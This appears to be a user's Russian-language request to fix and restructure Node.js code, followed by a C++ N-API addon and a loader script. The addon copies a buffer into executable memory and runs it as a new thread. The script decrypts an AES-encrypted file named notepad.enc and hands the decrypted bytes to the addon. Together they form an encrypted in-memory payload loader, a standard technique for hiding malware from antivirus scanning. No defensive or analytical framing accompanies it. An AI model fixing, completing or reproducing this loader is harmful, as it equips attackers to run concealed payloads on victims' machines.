исправь и напиши со структурой для nodejs
execute.cpp 
#include <napi.h>
#include <windows.h>
#include <iostream> // Для вывода в консоль

Napi::Value ExecuteFromMemory(const Napi::CallbackInfo& info) {
    Napi::Env env = info.Env();

    // Проверка аргументов
    if (info.Length() < 1 || !info[0].IsBuffer()) {
        Napi::TypeError::New(env, "Buffer expected").ThrowAsJavaScriptException();
        return env.Null();
    }

    Napi::Buffer<char> buffer = info[0].As<Napi::Buffer<char>>();

    // Выделение исполняемой памяти
    void* exec_mem = VirtualAlloc(NULL, buffer.Length(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem == NULL) {
        DWORD error = GetLastError();
        std::cerr << "VirtualAlloc failed with error code: " << error << std::endl;
        Napi::Error::New(env, "Failed to allocate memory").ThrowAsJavaScriptException();
        return env.Null();
    }

    // Копирование кода в выделенную память
    memcpy(exec_mem, buffer.Data(), buffer.Length());

    // Создание потока для выполнения кода
    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
    if (thread == NULL) {
        DWORD error = GetLastError();
        std::cerr << "CreateThread failed with error code: " << error << std::endl;
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        Napi::Error::New(env, "Failed to create thread").ThrowAsJavaScriptException();
        return env.Null();
    }

    // Ожидание завершения выполнения
    DWORD waitResult = WaitForSingleObject(thread, INFINITE);
    if (waitResult == WAIT_FAILED) {
        DWORD error = GetLastError();
        std::cerr << "WaitForSingleObject failed with error code: " << error << std::endl;
        CloseHandle(thread);
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        Napi::Error::New(env, "Failed during thread wait").ThrowAsJavaScriptException();
        return env.Null();
    }

    CloseHandle(thread);
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return Napi::String::New(env, "Execution completed");
}

Napi::Object Init(Napi::Env env, Napi::Object exports) {
    exports.Set(Napi::String::New(env, "executeFromMemory"),
                Napi::Function::New(env, ExecuteFromMemory));
    return exports;
}

NODE_API_MODULE(NODE_GYP_MODULE_NAME, Init)
const fs = require('fs');
const crypto = require('crypto');
const path = require('path');
const execute = require('./build/Release/execute'); // Импорт нативного модуля

// Параметры шифрования
const algorithm = 'aes-256-cbc';
const password = 'ваш_пароль'; // Должен совпадать с паролем, использованным при шифровании
const salt = 'ваша_соль';      // Должен совпадать с солью, использованной при шифровании
const key = crypto.scryptSync(password, salt, 32);

// Пути к файлам
const encryptedFile = path.join(__dirname, './output', 'notepad.enc');

try {
    // Чтение зашифрованного файла
    const encryptedData = fs.readFileSync(encryptedFile);

    // Извлечение IV и зашифрованных данных
    const iv = encryptedData.slice(0, 16);
    const encrypted = encryptedData.slice(16);

    // Создание дешифратора
    const decipher = crypto.createDecipheriv(algorithm, key, iv);

    // Дешифрование данных
    const decrypted = Buffer.concat([decipher.update(encrypted), decipher.final()]);

    // Передача дешифрованных данных в нативный модуль для выполнения
    const result = execute.executeFromMemory(decrypted);
    console.log(result);
} catch (err) {
    console.error('Ошибка при дешифровке или выполнении файла:', err);
}